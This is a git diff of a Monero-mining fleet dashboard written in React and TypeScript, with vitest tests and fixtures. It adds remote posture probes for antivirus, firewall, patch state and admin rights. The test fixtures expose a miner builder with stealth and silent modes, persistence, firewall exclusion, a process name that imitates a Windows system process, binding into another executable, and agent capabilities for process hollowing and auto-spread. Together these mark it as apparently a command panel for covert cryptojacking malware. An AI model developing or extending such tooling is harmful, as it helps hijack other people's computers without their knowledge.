if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' };
|
||||
return { label: `${u} UPD`, cls: 'upd-bad' };
|
||||
}
|
||||
|
||||
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
if (agent.reboot_pending === undefined) return null;
|
||||
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
|
||||
return null; // no badge when not pending — cleaner UI
|
||||
}
|
||||
|
||||
function platformIcon(platform?: string): string {
|
||||
if (!platform) return '⬡';
|
||||
const p = platform.toLowerCase();
|
||||
@@ -99,8 +150,9 @@ export default function CruciblePage() {
|
||||
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
||||
const [histIdx, setHistIdx] = useState(-1);
|
||||
|
||||
// SSH status overrides (from probe results)
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
|
||||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||||
const selectedAgents = useMemo(
|
||||
@@ -128,20 +180,35 @@ export default function CruciblePage() {
|
||||
for (const r of newEntries) {
|
||||
const aid = r.agent_id;
|
||||
if (!aid) continue;
|
||||
// Only show results from agents that are selected (or all if nothing selected)
|
||||
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
|
||||
const agent = agents.find((a) => a.id === aid);
|
||||
const name = agent?.name ?? aid.slice(0, 8);
|
||||
|
||||
// Parse SSH probe results to update ssh status
|
||||
const msg = r.message ?? '';
|
||||
// Always update badges from probe / heartbeat command responses
|
||||
if (msg.includes('SSH_PROBE:ONLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
}
|
||||
if (r.action === 'posture' || msg.includes('{')) {
|
||||
try {
|
||||
const start = msg.indexOf('{');
|
||||
if (start >= 0) {
|
||||
const p = JSON.parse(msg.slice(start)) as { posture_score?: number; last_patch_days?: number; ssh_listening?: boolean };
|
||||
if (typeof p.posture_score === 'number') {
|
||||
setPostureOverride((prev) => ({
|
||||
...prev,
|
||||
[aid]: { score: p.posture_score!, patchDays: p.last_patch_days },
|
||||
}));
|
||||
}
|
||||
if (p.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
if (p.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||||
}
|
||||
} catch { /* ignore malformed JSON */ }
|
||||
}
|
||||
|
||||
if (selectedIds.size > 0 && !selectedIds.has(aid)) continue;
|
||||
const agent = agents.find((a) => a.id === aid);
|
||||
const name = agent?.name ?? aid.slice(0, 8);
|
||||
|
||||
// Split multi-line output
|
||||
const msgLines = msg.split('\n').filter(Boolean);
|
||||
for (const line of msgLines) {
|
||||
lines.push({
|
||||
@@ -258,6 +325,28 @@ export default function CruciblePage() {
|
||||
}
|
||||
};
|
||||
|
||||
const probePosture = (targets?: Agent[]) => {
|
||||
const tgts = targets ?? selectedAgents.filter(online);
|
||||
Promise.all(
|
||||
tgts.map((a) =>
|
||||
api.sendAgentCommand(a.id, 'posture').catch((err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: a.id,
|
||||
agentName: a.name,
|
||||
isCmd: false,
|
||||
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(),
|
||||
success: false,
|
||||
},
|
||||
]);
|
||||
})
|
||||
)
|
||||
);
|
||||
};
|
||||
|
||||
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === 'Enter') { sendCmd(); return; }
|
||||
if (e.key === 'ArrowUp') {
|
||||
@@ -282,6 +371,13 @@ export default function CruciblePage() {
|
||||
return sshBadge({ ...a });
|
||||
};
|
||||
|
||||
const postureStatus = (a: Agent) => {
|
||||
const o = postureOverride[a.id];
|
||||
const score = o?.score ?? a.posture_score;
|
||||
const patchDays = o?.patchDays ?? a.last_patch_days;
|
||||
return { ...postureBadge(score), patch: patchLabel(patchDays) };
|
||||
};
|
||||
|
||||
// ── Render ─────────────────────────────────────────────────────────────
|
||||
|
||||
return (
|
||||
@@ -319,6 +415,7 @@ export default function CruciblePage() {
|
||||
const sel = selectedIds.has(a.id);
|
||||
const isOn = online(a);
|
||||
const ssh = sshStatus(a);
|
||||
const posture = postureStatus(a);
|
||||
const color = agentColor(a.id, allIds);
|
||||
return (
|
||||
<div
|
||||
@@ -345,7 +442,36 @@ export default function CruciblePage() {
|
||||
<span>{a.cpu_cores}c</span>
|
||||
<span>{formatHashrate(a.hashrate_15m)}</span>
|
||||
</div>
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div className="cn-badges">
|
||||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||||
<div
|
||||
className={`cn-posture ${posture.cls}`}
|
||||
title={postureTooltip(a)}
|
||||
>
|
||||
{posture.label}
|
||||
</div>
|
||||
{posture.patch && (
|
||||
<div
|
||||
className={`cn-patch ${posture.patch.cls}`}
|
||||
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)`}
|
||||
>
|
||||
{posture.patch.label}
|
||||
</div>
|
||||
)}
|
||||
{(() => { const pb = pendingBadge(a); return pb && (
|
||||
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
|
||||
{pb.label}
|
||||
</div>
|
||||
); })()}
|
||||
{(() => { const rb = rebootBadge(a); return rb && (
|
||||
<div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates">
|
||||
{rb.label}
|
||||
</div>
|
||||
); })()}
|
||||
{a.agent_elevated && (
|
||||
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
@@ -393,6 +519,26 @@ export default function CruciblePage() {
|
||||
<span className="section-ornament">◆</span> OPERATIONS
|
||||
</div>
|
||||
<div className="crucible-ops">
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Posture</span>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
onClick={() => probePosture()}
|
||||
title="Probe selected: AV, RTP, firewall (per-profile), SSH, patch age, elevation"
|
||||
>
|
||||
Probe Selected
|
||||
</button>
|
||||
<button
|
||||
className="button crucible-op-btn crucible-op-wake"
|
||||
disabled={agents.filter(online).length === 0}
|
||||
onClick={() => probePosture(agents.filter(online))}
|
||||
title="Probe ALL online nodes at once"
|
||||
>
|
||||
⚡ Probe All
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">SSH</span>
|
||||
<button
|
||||
|
||||
190
server/web/src/pages/DashboardPage.test.tsx
Normal file
190
server/web/src/pages/DashboardPage.test.tsx
Normal file
@@ -0,0 +1,190 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import DashboardPage, { formatShareTime } from './DashboardPage';
|
||||
import { mockAgent, mockShare } from '../test/fixtures';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock('../components/Visual/3D/FleetTopologyMap', () => ({
|
||||
default: () => <div data-testid="fleet-topology-map" />,
|
||||
}));
|
||||
|
||||
vi.mock('../components/Visual/MatrixStreamOverlay', () => ({
|
||||
default: () => null,
|
||||
}));
|
||||
|
||||
const useWebSocketMock = vi.mocked(useWebSocket);
|
||||
|
||||
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
return {
|
||||
isConnected: true,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderDashboard() {
|
||||
return render(
|
||||
<MemoryRouter>
|
||||
<DashboardPage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
}
|
||||
|
||||
describe('formatShareTime', () => {
|
||||
it('formats ISO timestamps as locale time strings', () => {
|
||||
const iso = '2026-05-30T12:00:00.000Z';
|
||||
expect(formatShareTime(iso)).toBe(new Date(iso).toLocaleTimeString());
|
||||
});
|
||||
});
|
||||
|
||||
describe('DashboardPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
localStorage.clear();
|
||||
useWebSocketMock.mockReturnValue(wsValue());
|
||||
vi.spyOn(api, 'getRecentShares').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue({
|
||||
port: 8080,
|
||||
data_dir: '',
|
||||
pool: {} as never,
|
||||
wallet: {} as never,
|
||||
server: { dashboard_subtitle: 'custom subtitle from server' },
|
||||
alerts: {} as never,
|
||||
});
|
||||
vi.spyOn(api, 'getAlerts').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getPoolStatus').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getAIActivity').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getXmrPrice').mockResolvedValue({ usd: 165.5, updated_at: '' });
|
||||
vi.spyOn(api, 'getEarningsEstimate').mockResolvedValue({
|
||||
xmr_per_day: 0.01,
|
||||
usd_per_day: 1.65,
|
||||
network_hashrate: 1e9,
|
||||
});
|
||||
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
|
||||
success: true,
|
||||
sent: 1,
|
||||
failed: 0,
|
||||
action: 'restart',
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders hero heading and key section titles', () => {
|
||||
renderDashboard();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Command Deck' })).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Pipeline')).toBeInTheDocument();
|
||||
expect(screen.getByText('Share Activity Pulse')).toBeInTheDocument();
|
||||
expect(screen.getByText('Machine Roster')).toBeInTheDocument();
|
||||
expect(screen.getByText('PERSONAL NETWORK · LIVE TELEMETRY')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows reconnecting label when websocket is down', () => {
|
||||
useWebSocketMock.mockReturnValue(wsValue({ isConnected: false }));
|
||||
renderDashboard();
|
||||
expect(screen.getByText('RECONNECTING')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows signal locked when websocket is connected', () => {
|
||||
renderDashboard();
|
||||
expect(screen.getByText('SIGNAL LOCKED')).toBeInTheDocument();
|
||||
expect(screen.getByText('0 nodes registered')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('loads dashboard subtitle from config API', async () => {
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('custom subtitle from server')).toBeInTheDocument();
|
||||
expect(api.getConfig).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('shows empty roster state when no agents', async () => {
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders stat labels and top agent card', async () => {
|
||||
const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 });
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('Total Hashrate')).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Online')).toBeInTheDocument();
|
||||
expect(screen.getByText('Accept Rate')).toBeInTheDocument();
|
||||
const roster = screen.getByText('Machine Roster').closest('section') as HTMLElement;
|
||||
expect(within(roster).getByText('Alpha Node')).toBeInTheDocument();
|
||||
expect(within(roster).getByText('online')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('toggles advanced mode and reveals share log section', async () => {
|
||||
const user = userEvent.setup();
|
||||
vi.spyOn(api, 'getRecentShares').mockResolvedValue([mockShare()]);
|
||||
renderDashboard();
|
||||
expect(screen.queryByText('Share Log')).not.toBeInTheDocument();
|
||||
await user.click(screen.getByRole('button', { name: '[ADVANCED]' }));
|
||||
expect(screen.getByText('Share Log')).toBeInTheDocument();
|
||||
expect(localStorage.getItem('aether-dash-advanced')).toBe('1');
|
||||
});
|
||||
|
||||
it('shows share log rows in advanced mode with stable keys', async () => {
|
||||
const share = mockShare({ id: undefined as unknown as number, hash: 'deadbeef' });
|
||||
vi.spyOn(api, 'getRecentShares').mockResolvedValue([share]);
|
||||
localStorage.setItem('aether-dash-advanced', '1');
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [mockAgent()] }));
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('Share Log')).toBeInTheDocument();
|
||||
expect(screen.getByText('Accepted')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('alerts when bulk command API fails', async () => {
|
||||
const agent = mockAgent();
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
|
||||
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('network down'));
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderDashboard();
|
||||
const roster = await screen.findByText('Machine Roster');
|
||||
const section = roster.closest('section') as HTMLElement;
|
||||
await waitFor(() => expect(within(section).getByText(agent.name)).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
const grid = section.querySelector('.agent-grid') as HTMLElement;
|
||||
await user.click(within(grid).getByRole('checkbox'));
|
||||
const bulkBar = section.querySelector('.fleet-bulk-bar') as HTMLElement;
|
||||
await user.click(within(bulkBar).getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('network down');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('prefers live websocket alerts over REST fallback', async () => {
|
||||
useWebSocketMock.mockReturnValue(
|
||||
wsValue({
|
||||
fleetAlerts: [{ id: '1', level: 'warn', type: 'pool_down', message: 'live alert', timestamp: '' }],
|
||||
})
|
||||
);
|
||||
vi.spyOn(api, 'getAlerts').mockResolvedValue([
|
||||
{ id: '2', level: 'warn', type: 'stale', message: 'rest alert', timestamp: '' },
|
||||
]);
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('live alert')).toBeInTheDocument();
|
||||
expect(screen.queryByText('rest alert')).not.toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -514,8 +514,8 @@ export default function DashboardPage() {
|
||||
<tr><td colSpan={4} className="empty-table">No shares yet — awaiting proof of work...</td></tr>
|
||||
)}
|
||||
{shares.map((share) => (
|
||||
<tr key={share.id}>
|
||||
<td className="time-cell font-tech">{formatTime(share.timestamp)}</td>
|
||||
<tr key={share.id ?? `${share.agent_id}-${share.hash}-${share.timestamp}`}>
|
||||
<td className="time-cell font-tech">{formatShareTime(share.timestamp)}</td>
|
||||
<td className="mono-sm">{share.agent_id?.substring(0, 8)}…</td>
|
||||
<td>
|
||||
<span className={`status-badge ${share.accepted ? 'online' : 'error'}`}>
|
||||
@@ -538,6 +538,6 @@ export default function DashboardPage() {
|
||||
);
|
||||
}
|
||||
|
||||
function formatTime(t: string): string {
|
||||
export function formatShareTime(t: string): string {
|
||||
return new Date(t).toLocaleTimeString();
|
||||
}
|
||||
|
||||
@@ -587,13 +587,12 @@ export default function SettingsPage() {
|
||||
<NeonCard accent="magenta" className="settings-section">
|
||||
<h2 className="font-display">Access Control</h2>
|
||||
<p className="section-desc">
|
||||
API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users.
|
||||
Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||
API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||
</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Browser session — username</label>
|
||||
<input type="text" className="input" placeholder="drjones" value={sessionUser}
|
||||
<input type="text" className="input" placeholder="admin" value={sessionUser}
|
||||
onChange={(e) => setSessionUser(e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
|
||||
51
server/web/src/test/fixtures.ts
Normal file
51
server/web/src/test/fixtures.ts
Normal file
@@ -0,0 +1,51 @@
|
||||
import type { Agent, Share, ServerInfo } from '../types';
|
||||
|
||||
export function mockAgent(overrides: Partial<Agent> = {}): Agent {
|
||||
return {
|
||||
id: 'agent-001-uuid',
|
||||
name: 'Test Miner',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
ip: '192.168.1.10',
|
||||
version: '1.0.0',
|
||||
status: 'online',
|
||||
cpu_cores: 8,
|
||||
memory_gb: 16,
|
||||
last_seen: new Date().toISOString(),
|
||||
created_at: new Date().toISOString(),
|
||||
hashrate_15s: 500,
|
||||
hashrate_1m: 480,
|
||||
hashrate_15m: 450,
|
||||
shares_total: 100,
|
||||
shares_good: 95,
|
||||
shares_bad: 5,
|
||||
cpu_usage_pct: 42,
|
||||
memory_usage_pct: 55,
|
||||
uptime_seconds: 3600,
|
||||
platform: 'linux',
|
||||
arch: 'amd64',
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
export function mockShare(overrides: Partial<Share> = {}): Share {
|
||||
return {
|
||||
id: 1,
|
||||
agent_id: 'agent-001-uuid',
|
||||
job_id: 'job-1',
|
||||
difficulty: 1000,
|
||||
accepted: true,
|
||||
hash: 'abc123deadbeef',
|
||||
nonce: '0001',
|
||||
timestamp: new Date().toISOString(),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
export const mockServerInfo: ServerInfo = {
|
||||
port: 8080,
|
||||
host: '0.0.0.0',
|
||||
local_ips: ['192.168.1.5'],
|
||||
suggested_url: 'http://192.168.1.5:8080',
|
||||
dashboard_url: 'http://192.168.1.5:8080/dashboard',
|
||||
websocket_url: 'ws://192.168.1.5:8080/ws/dashboard',
|
||||
};
|
||||
1
server/web/src/test/setup.ts
Normal file
1
server/web/src/test/setup.ts
Normal file
@@ -0,0 +1 @@
|
||||
import '@testing-library/jest-dom/vitest';
|
||||
413
server/web/src/types/index.test.ts
Normal file
413
server/web/src/types/index.test.ts
Normal file
@@ -0,0 +1,413 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import type {
|
||||
Agent,
|
||||
AgentCapabilities,
|
||||
AgentDefaults,
|
||||
AlertsConfig,
|
||||
BackupPool,
|
||||
BlueprintInfo,
|
||||
Build,
|
||||
BuildRecord,
|
||||
BuildRequest,
|
||||
BuildResponse,
|
||||
EarningsEstimate,
|
||||
FleetAlert,
|
||||
FleetStats,
|
||||
FusionEstimate,
|
||||
HashrateSample,
|
||||
PoolConfig,
|
||||
PoolStatus,
|
||||
ServerConfig,
|
||||
ServerInfo,
|
||||
ServerSettings,
|
||||
Share,
|
||||
WalletConfig,
|
||||
WSMessage,
|
||||
XmrPrice,
|
||||
} from './index';
|
||||
|
||||
/** Runtime shape check — types/index.ts exports interfaces only (no type guards). */
|
||||
function expectKeys(obj: Record<string, unknown>, keys: string[]) {
|
||||
for (const key of keys) {
|
||||
expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
|
||||
}
|
||||
}
|
||||
|
||||
describe('types/index — Agent', () => {
|
||||
const sample: Agent = {
|
||||
id: 'a1',
|
||||
name: 'office-pc',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
ip: '192.168.1.20',
|
||||
version: '1.0.0',
|
||||
status: 'online',
|
||||
cpu_cores: 8,
|
||||
memory_gb: 16,
|
||||
last_seen: '2026-05-30T12:00:00Z',
|
||||
created_at: '2026-05-01T08:00:00Z',
|
||||
hashrate_15s: 1200,
|
||||
hashrate_1m: 1180,
|
||||
hashrate_15m: 1150,
|
||||
shares_total: 100,
|
||||
shares_good: 98,
|
||||
shares_bad: 2,
|
||||
cpu_usage_pct: 45,
|
||||
memory_usage_pct: 60,
|
||||
uptime_seconds: 86400,
|
||||
};
|
||||
|
||||
it('accepts online/offline/error status values', () => {
|
||||
const statuses: Agent['status'][] = ['online', 'offline', 'error'];
|
||||
for (const status of statuses) {
|
||||
expect(statuses).toContain(status);
|
||||
}
|
||||
expect(sample.status).toBe('online');
|
||||
});
|
||||
|
||||
it('supports optional fleet metadata fields', () => {
|
||||
const extended: Agent = {
|
||||
...sample,
|
||||
notes: 'lab machine',
|
||||
tags: ['office', 'gpu'],
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
os_version: '11',
|
||||
capabilities: {
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
process_hollowing: false,
|
||||
ai_enabled: true,
|
||||
} satisfies AgentCapabilities,
|
||||
ssh_available: false,
|
||||
posture_score: 85,
|
||||
last_patch_days: 14,
|
||||
};
|
||||
expect(extended.tags).toHaveLength(2);
|
||||
expect(extended.capabilities?.ai_enabled).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — BuildRequest', () => {
|
||||
const minimal: BuildRequest = {
|
||||
worker_name: 'worker-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
threads: 4,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'scheduled',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '21:00',
|
||||
schedule_end: '06:00',
|
||||
install_base: 'localappdata',
|
||||
install_custom_base: '',
|
||||
install_relative_path: 'CryptoMiner/{worker}',
|
||||
adapt_to_hardware: true,
|
||||
self_healing: true,
|
||||
file_logging: false,
|
||||
stealth_mode: true,
|
||||
firewall_exclusion: true,
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 443,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: 'http://localhost:11434',
|
||||
ai_model: 'llama3.2',
|
||||
};
|
||||
|
||||
it('includes required core forge fields', () => {
|
||||
expectKeys(minimal as unknown as Record<string, unknown>, [
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'wallet',
|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'fusion_enabled',
|
||||
'ai_enabled',
|
||||
]);
|
||||
});
|
||||
|
||||
it('accepts optional target_os union values', () => {
|
||||
const platforms: NonNullable<BuildRequest['target_os']>[] = ['windows', 'linux', 'darwin', 'universal'];
|
||||
for (const target_os of platforms) {
|
||||
const req: BuildRequest = { ...minimal, target_os };
|
||||
expect(req.target_os).toBe(target_os);
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts backup pool and server URL fallbacks', () => {
|
||||
const backupPools: BackupPool[] = [{ host: 'backup.pool', port: 443, tls: true, pass: 'x' }];
|
||||
const req: BuildRequest = {
|
||||
...minimal,
|
||||
backup_pools: backupPools,
|
||||
backup_server_urls: ['http://192.168.1.6:8989'],
|
||||
cancel_token: 'cancel-abc',
|
||||
};
|
||||
expect(req.backup_pools).toHaveLength(1);
|
||||
expect(req.backup_server_urls?.[0]).toContain('192.168');
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — BuildRecord / Build alias', () => {
|
||||
const record: BuildRecord = {
|
||||
id: 'build-uuid',
|
||||
worker_name: 'worker-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
threads: 4,
|
||||
file_size: 1024000,
|
||||
file_path: '/data/builds/worker-1.exe',
|
||||
created_at: '2026-05-30T10:00:00Z',
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 443,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
};
|
||||
|
||||
it('Build alias is assignable from BuildRecord', () => {
|
||||
const build: Build = record;
|
||||
expect(build.id).toBe(record.id);
|
||||
expect(build.worker_name).toBe('worker-1');
|
||||
});
|
||||
|
||||
it('supports optional download and bundle metadata', () => {
|
||||
const extended: BuildRecord = {
|
||||
...record,
|
||||
file_name: 'worker-1.exe',
|
||||
platform: 'windows',
|
||||
bundle_size: 2048000,
|
||||
download_url: '/api/v1/builds/build-uuid/download',
|
||||
pinned: true,
|
||||
};
|
||||
expect(extended.pinned).toBe(true);
|
||||
expect(extended.bundle_size).toBeGreaterThan(extended.file_size);
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — server and fleet payloads', () => {
|
||||
it('ServerInfo carries LAN and websocket URLs', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: '0.0.0.0',
|
||||
local_ips: ['192.168.1.5'],
|
||||
suggested_url: 'http://192.168.1.5:8989',
|
||||
dashboard_url: 'http://192.168.1.5:8989/',
|
||||
websocket_url: 'ws://192.168.1.5:8989/ws/dashboard',
|
||||
};
|
||||
expect(info.local_ips).toContain('192.168.1.5');
|
||||
});
|
||||
|
||||
it('ServerConfig nests pool, wallet, server, and alerts', () => {
|
||||
const pool: PoolConfig = { host: 'pool.example.com', port: 3333, use_tls: false, password: 'x' };
|
||||
const wallet: WalletConfig = { address: '4' + 'A'.repeat(94), payment_id: '' };
|
||||
const server: ServerSettings = {
|
||||
public_url: 'http://192.168.1.5:8989',
|
||||
stats_retention_hours: 72,
|
||||
build_retention_days: 30,
|
||||
pool_reconnect_seconds: 30,
|
||||
websocket_ping_seconds: 30,
|
||||
max_agents: 100,
|
||||
max_build_size_mb: 512,
|
||||
log_agent_connections: true,
|
||||
log_share_submissions: false,
|
||||
log_pool_traffic: false,
|
||||
strict_wallet_validation: true,
|
||||
dashboard_subtitle: 'Fleet',
|
||||
open_firewall_on_start: true,
|
||||
};
|
||||
const alerts: AlertsConfig = {
|
||||
offline_threshold_minutes: 15,
|
||||
hashrate_drop_threshold_pct: 50,
|
||||
rejection_rate_threshold_pct: 10,
|
||||
};
|
||||
const config: ServerConfig = {
|
||||
port: 8989,
|
||||
data_dir: './data',
|
||||
pool,
|
||||
wallet,
|
||||
server,
|
||||
alerts,
|
||||
};
|
||||
expect(config.pool.host).toBe(pool.host);
|
||||
expect(config.wallet.address.startsWith('4')).toBe(true);
|
||||
});
|
||||
|
||||
it('FleetStats tracks acceptance rate', () => {
|
||||
const stats: FleetStats = {
|
||||
total_agents: 10,
|
||||
online_agents: 8,
|
||||
total_hashrate: 50000,
|
||||
total_shares: 1000,
|
||||
accepted_shares: 980,
|
||||
rejected_shares: 20,
|
||||
accept_rate: 0.98,
|
||||
};
|
||||
expect(stats.accept_rate).toBeCloseTo(stats.accepted_shares / stats.total_shares);
|
||||
});
|
||||
|
||||
it('Share and HashrateSample tie metrics to agents', () => {
|
||||
const share: Share = {
|
||||
id: 1,
|
||||
agent_id: 'a1',
|
||||
job_id: 'job-1',
|
||||
difficulty: 100000,
|
||||
accepted: true,
|
||||
hash: 'abc',
|
||||
nonce: '0001',
|
||||
timestamp: '2026-05-30T12:00:00Z',
|
||||
};
|
||||
const sample: HashrateSample = {
|
||||
id: 1,
|
||||
agent_id: 'a1',
|
||||
hashrate: 1200,
|
||||
timestamp: '2026-05-30T12:00:00Z',
|
||||
};
|
||||
expect(share.agent_id).toBe(sample.agent_id);
|
||||
});
|
||||
|
||||
it('PoolStatus uses green/yellow/red traffic light status', () => {
|
||||
const statuses: PoolStatus['status'][] = ['green', 'yellow', 'red'];
|
||||
const pool: PoolStatus = {
|
||||
key: 'primary',
|
||||
host: 'pool.example.com',
|
||||
port: 443,
|
||||
use_tls: true,
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
connected: true,
|
||||
status: 'green',
|
||||
};
|
||||
expect(statuses).toContain(pool.status);
|
||||
});
|
||||
|
||||
it('FleetAlert supports warn and error levels', () => {
|
||||
const alert: FleetAlert = {
|
||||
id: 'alert-1',
|
||||
level: 'warn',
|
||||
type: 'offline',
|
||||
agent_id: 'a1',
|
||||
agent_name: 'office-pc',
|
||||
message: 'Agent offline',
|
||||
timestamp: '2026-05-30T12:00:00Z',
|
||||
};
|
||||
expect(['warn', 'error']).toContain(alert.level);
|
||||
});
|
||||
|
||||
it('EarningsEstimate and XmrPrice carry pricing metadata', () => {
|
||||
const earnings: EarningsEstimate = {
|
||||
hashrate: 5000,
|
||||
xmr_per_day: 0.001,
|
||||
note: 'estimate',
|
||||
};
|
||||
const price: XmrPrice = {
|
||||
usd: 180,
|
||||
fetched_at: '2026-05-30T12:00:00Z',
|
||||
source: 'coingecko',
|
||||
};
|
||||
expect(earnings.xmr_per_day).toBeGreaterThan(0);
|
||||
expect(price.usd).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
